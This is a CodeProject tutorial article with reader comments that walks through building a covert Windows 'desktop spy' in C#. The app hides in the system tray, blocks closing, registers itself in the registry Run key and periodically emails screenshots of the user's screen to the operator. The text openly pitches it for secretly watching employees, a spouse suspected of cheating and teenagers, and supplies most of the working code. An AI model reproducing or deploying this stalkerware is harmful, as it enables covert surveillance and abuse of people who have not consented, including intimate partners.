Click here to Skip to main content
12,303,575 members (77,316 online)
Click here to Skip to main content
Add your own
alternative version


112 bookmarked

Desktop Spy Utility that Emails Subject's Screenshots To You

, 11 Jun 2011 CPOL
Rate this:
Please Sign up or sign in to vote.
Make a surveillance application which silently captures desktop and emails you screenshots as attachment periodically


Some time ago, I needed to capture a certain computer's desktop in order to find out what that user is doing every day. So, I made a .NET 2.0 Winforms Application which stays on system tray (optional) and capture the desktop in given time interval (say every 60 secs) and emailed the captured images to me as message attachment (say every 30 mins). It ensures the captures are small enough and embedded inside HTML email so that I don't need to open hundreds of attachments and see the screenshots. I could just read through the email and see the captures made. You will find this application quite handy in many use cases including:

  • Keep an eye on employees who spend too much time on web or chatting. See what they really do.
  • Keep an eye on your better half in case s/he is cheating on you.
  • Keep an eye on your teenagers and see how they use the computer. Find the amount of time they browser porn on web.

All you do is sit back and relax in your office and the app informs you every 30 mins via email what your subject is doing on the computer. You don't need to worry about missing some captures when you are away from your computer. It will be safely kept in your inbox and you can go through all the captures on your weekend.

Please note, this is a surveillance application and by nature it violates privacy policy. So, you are solely responsible for whatever way you use it.

How to Use the Application

Configure the following settings from the Visual Studio Settings Designer (if you have Visual Studio):


Configure the path where the screenshots will be stored. Then configure the duration, default is every 1 minute, one screenshot is taken. "To" contains the email address of yours. Use free email services because very soon you will find it's filled up. Username and Password is for the SMTP authentication. "SMTP" contains the SMTP Server name or IP. "MailSendDelay" is the delay between sending emails.

All you need to do is build the app and run it once on the computer which you want to keep an eye on. It will hide itself on the system tray as a harmless icon and register itself on the startup and start capturing immediately. After a week or two, cleanup the "C:\temp" folder where the screenshots are kept.

You can also configure the properties at run time after running it once on a computer. This is for those who does not have Visual Studio in order to configure the settings before building it.

In order to launch the configuration dialog box while the application is running, find the icon on the system tray and click mouse buttons exactly in this order:

  • Press and hold left and right mouse button on the system tray icon one after another
  • Release only the right mouse button while holding the left mouse button down

This will bring up the configuration dialog:


Here you can make changes while it is running.

Once the application is run on a PC, it will register itself in the startup. So, every time Windows starts, it will load the application automatically and start taking screenshots.

Let's learn some interesting stuffs from this application:

Prevent Closing the Application When Close Button is Clicked

The spy application needs to keep on running all the time. So, we need to prevent it from closing. In order to keep the application running, one window must remain loaded and hidden. So, that window's FormClosing event must cancel the close event.

private void MainForm_FormClosing(object sender, FormClosingEventArgs e)
e.Cancel = true;

The window is also made hidden and not to appear on the taskbar. You can turn off ShowInTaskbar property from the Form's properties. The Properties window is kept alive all the time hidden and moved away from visible area.

Capture Screenshot of Desktop

The following code can take a screenshot of the whole screen. It only takes primary screen's screenshot. If you have multiple monitor, then you need to capture them individually.

using (Bitmap bmpScreenshot = 
new Bitmap(Screen.PrimaryScreen.Bounds.Width, 
Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb)) 
// Create a graphics object from the bitmap  
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot)) 
Log("Capture screen"); 
// Take the screenshot from the upper left corner to the right bottom corner  
0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);

First a bitmap object for the whole screen size is created and then the graphics from the screen is copied to the Bitmap object.

Convert the Bitmap to Low Resolution JPEG

A desktop screenshot is a large picture and can easily size about 300 KB when converted to JPEG regular mode. If you have high resolution like 1600X1024 or more, the screenshot size will be even bigger. If such large files are emailed to you as attachment, it will be a real pain for you and your mail server. So, you need to convert the bitmap to a low quality JPEG.

//Get the ImageCodecInfo for the desired target format
ImageCodecInfo codec = GetEncoderInfo("image/jpeg");

// Set the quality to very low
System.Drawing.Imaging.Encoder qualityEncoder = System.Drawing.Imaging.Encoder.Quality;
EncoderParameter ratio = new EncoderParameter(qualityEncoder, 10L);
// Add the quality parameter to the list
EncoderParameters codecParams = new EncoderParameters(1);
codecParams.Param[0] = ratio;

Here we configure the JPEG codec with very low resolution (10%). GetEncoderInfo is a function which runs through all available codecs and finds the one we need.

private static ImageCodecInfo GetEncoderInfo(String mimeType)
int j;
ImageCodecInfo[] encoders;
encoders = ImageCodecInfo.GetImageEncoders();
for (j = 0; j < encoders.Length; ++j)
if (encoders[j].MimeType == mimeType)
return encoders[j];
} return null;

Once the conversion is done, you can save the bitmap in a file.

using (FileStream fs = new FileStream(filePath, FileMode.Create))
    bmpScreenshot.Save(fs, codec, codecParams);

Handling Win32 Exception

I noticed sometimes during screen capture, an unknown Win32Exception throws up. There's no way to work around this problem until I restart the application. Here's how I do it:

catch (Exception x)
    if (x is Win32Exception)

How to Email the Pictures as Embedded Image in HTML Format

You can email the pictures as regular attachment. But that makes looking at those screenshots very difficult as you have to double click on each and every attachment. A better approach is to create an HTML formatted email body where the screenshots are embedded one after another. Thus you can just read the email with the screenshots and see every thing that has been captured at one glimpse.

First connect to the mail server using System.Net.SmtpClient:

SmtpClient client = new SmtpClient(Settings.Default.Smtp);
client.Credentials = new NetworkCredential
			(Settings.Default.UserName, Settings.Default.Password);

MailMessage msg = new MailMessage(Settings.Default.To, Settings.Default.To);
msg.Subject = DateTime.Now.ToString();
msg.IsBodyHtml = true;

The last line starts an HTML formatted email body. We are going to construct an HTML mail where the images will be inline. The tricky part is to build the body of the message. The body requires that we create <img> tag for each image inside the body in this format:

<img src=cid:ID_OF_THE_IMAGE />

The ID needs to be the ContentID of the LinkedResource instance which is created for each image. Here's the code:

List<LinkedResource> resources = new List<LinkedResource>();
for (int i = Settings.Default.LastSentFileNo; i < Settings.Default.LastFileNo; i++)
    string filePath = FilePath(i); 

    //then we create the Html part
    //to embed images, we need to use the prefix 'cid' in the img src value
    //the cid value will map to the Content-Id of a Linked resource.
    //thus <img src='cid:companylogo'> will map to a 
    // LinkedResource with a ContentId of 'companylogo'

    body.AppendLine("<img src=cid:Capture" + i.ToString() + " />");

    //create the LinkedResource (embedded image)
    LinkedResource logo = new LinkedResource(filePath);
    logo.ContentId = "Capture" + i.ToString();
    //add the LinkedResource to the appropriate view

I keep a counter for the last capture file name and the last emailed file number. Then for each capture file which has not been emailed yet, I create a LinkedResource for the image and then add it in the resources list. I also build the body of the message which contains the <img> tag with the LinkedResource ContentID.

Then we create something called AlternateView for the message body which says the message has an HTML view:

AlternateView htmlView = 
	AlternateView.CreateAlternateViewFromString(body.ToString(), null, "text/html");

foreach (LinkedResource resource in resources)


This view contains the HTML body and the resource collection.

After this, the email is sent asynchronously so that the screen capture process does not get stuck. It generally takes a while to send the image with all the screenshots embedded. So, you can't do this synchronously.

    client.Timeout = 10 * 60 * 1000;
    client.SendAsync(msg, "");
    client.SendCompleted += new SendCompletedEventHandler(client_SendCompleted);


    Log("Sending mail...");
catch (Exception x)

How to register application to start at startup

I have a handy RegistryHelper class which can register a path in the system registry at Software\Microsoft\Windows\CurrentVersion\Run location. Whatever you put there, Windows launches it at startup. I found this code somewhere on the web long time back. Not sure who's the original author.

internal static class RegistryHelper
private const string REGISTRY_VALUE = "DesktopSpyStartup";

public static void RegisterAtStartup()
// get reference to the HKLM registry key...
RegistryKey rkHKLM = Registry.LocalMachine;
RegistryKey rkRun;

// get reference to Software\Microsoft\Windows\CurrentVersion\Run subkey
// with permission to write to it...
rkRun = 
// close the HKLM key...

// Check if there is any value already there
//if( null != rkRun.GetValue("RSS Feeder") )
// create a value with name same as the data...
System.Reflection.Assembly ass = System.Reflection.Assembly.GetEntryAssembly();
string directory = System.IO.Path.GetDirectoryName( ass.Location );

string starterPath = System.IO.Path.Combine( directory, "DesktopCapture.exe" );

rkRun.SetValue(REGISTRY_VALUE, starterPath);

Console.WriteLine("Entry successfully created in the registry!");
// error while creating entry...
Console.WriteLine("Unable to create an entry for the application!");

// close the subkey...
// close the HKLM key...

public static void UnregisterAtStartup()
// get reference to the HKLM registry key...
RegistryKey rkHKLM = Registry.LocalMachine;
RegistryKey rkRun;

// get reference to Software\Microsoft\Windows\CurrentVersion\Run subkey
// with permission to write to it...
rkRun = 
// close the HKLM key...

rkRun.DeleteValue( REGISTRY_VALUE );

// close the subkey...
// close the HKLM key...


This is a very low footprint easy to use desktop capture and email utility. Once it's run in a computer, it will keep capturing screenshot of all users on that computer and email to you periodically. All you need to do is skim through those emails every now and then and see what your subject is doing. Please note, this is a surveillance application and by nature it violates privacy policy. So, you are solely responsible for whatever way you use it.


This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)


About the Author

Omar Al Zabir
Architect BT, UK (ex British Telecom)
United Kingdom United Kingdom

You may also be interested in...

Comments and Discussions

GeneralA truly terrible idea Pin
pwasser4-Jul-13 22:44
memberpwasser4-Jul-13 22:44 
Questionnice article Pin
Tridip Bhattacharjee10-Jun-13 9:08
memberTridip Bhattacharjee10-Jun-13 9:08 
QuestionGood Tool Pin
Vasudevan Deepak Kumar4-Apr-13 6:31
memberVasudevan Deepak Kumar4-Apr-13 6:31 
Questionabout this nice tool Pin
sabbir.joy11126-Jan-13 13:32
membersabbir.joy11126-Jan-13 13:32 
GeneralMy vote of 5 Pin
Prabhash Mishra20-Aug-12 5:21
memberPrabhash Mishra20-Aug-12 5:21 
GeneralMy vote of 5 Pin
Аslam Iqbal8-Apr-12 3:10
memberАslam Iqbal8-Apr-12 3:10 
Questionadvice needed please! Pin
hygrsrir19874-Apr-12 23:17
memberhygrsrir19874-Apr-12 23:17 
Generaleasy to kill Pin
radioman.lt11-Jun-11 20:23
memberradioman.lt11-Jun-11 20:23 
GeneralYou got my Vote of 5 Pin
jehanzeb1-Dec-10 21:43
memberjehanzeb1-Dec-10 21:43 
GeneralMy vote of 5 Pin
jehanzeb1-Dec-10 21:42
memberjehanzeb1-Dec-10 21:42 
GeneralRich Pin
Ali BaderEddin30-Apr-10 9:32
memberAli BaderEddin30-Apr-10 9:32 
GeneralVERY cool application!!! but... Pin
Member 30689017-Mar-10 19:51
memberMember 30689017-Mar-10 19:51 
GeneralRe: VERY cool application!!! but... Pin
Omar Al Zabir7-Mar-10 20:11
mvpOmar Al Zabir7-Mar-10 20:11 
GeneralInteresting Pin
Md. Marufuzzaman5-Nov-09 6:50
groupMd. Marufuzzaman5-Nov-09 6:50 
This is really an interesting   article. Smile | :)

Md. Marufuzzaman

Don't forget to click [Vote] / [Good Answer] on the post(s) that helped you.

I will not say I have failed 1000 times; I will say that I have discovered 1000 ways that can cause failure – Thomas Edison.

GeneralTeaching young programmers how to join Big Brother Pin
jconwell31-Dec-07 5:06
memberjconwell31-Dec-07 5:06 
GeneralDesktop spy utility that emails subject's screenshots to you Pin
Dewey29-Apr-08 15:32
memberDewey29-Apr-08 15:32 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.

| Advertise | Privacy | Terms of Use | Mobile
Web02 | 2.8.160530.1 | Last Updated 11 Jun 2011
Article Copyright 2007 by Omar Al Zabir
Everything else Copyright © CodeProject, 1999-2016
Layout: fixed | fluid